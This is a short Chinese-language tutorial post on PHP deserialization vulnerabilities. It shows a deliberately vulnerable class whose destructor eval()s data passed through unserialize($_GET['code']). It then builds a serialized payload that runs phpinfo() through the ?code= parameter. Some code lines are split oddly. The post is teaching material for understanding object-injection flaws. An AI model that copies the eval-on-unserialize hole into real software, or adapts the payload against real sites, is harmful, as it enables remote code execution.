PHP反序列化漏洞

时间:2021-06-26 15:23:16

  serialize() 序列化:使用函数serialize()可将实例序列化为字符串
  unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原

代码示例:

<?php
class Example {
var $var = '';
function __destruct() {
eval($
this->var);
}
}
unserialize($_GET[
'code']);
?>

漏洞利用:

构造漏洞利用的代码,保存为test.php,获取序列化值为  O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

<?php
class Example {
var $var = 'phpinfo();';
function __destruct() {
eval($
this->var);
}
}
$a
=new Example();
echo serialize($a);
?>

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  即可执行phpinfo()

PHP反序列化漏洞

参考文章:

PHP反序列化漏洞  http://wyb0.com/posts/php-deserialization-vulnerabilities/

PHP反序列化 代码执行 https://www.cnblogs.com/yinqin/articles/4962837.html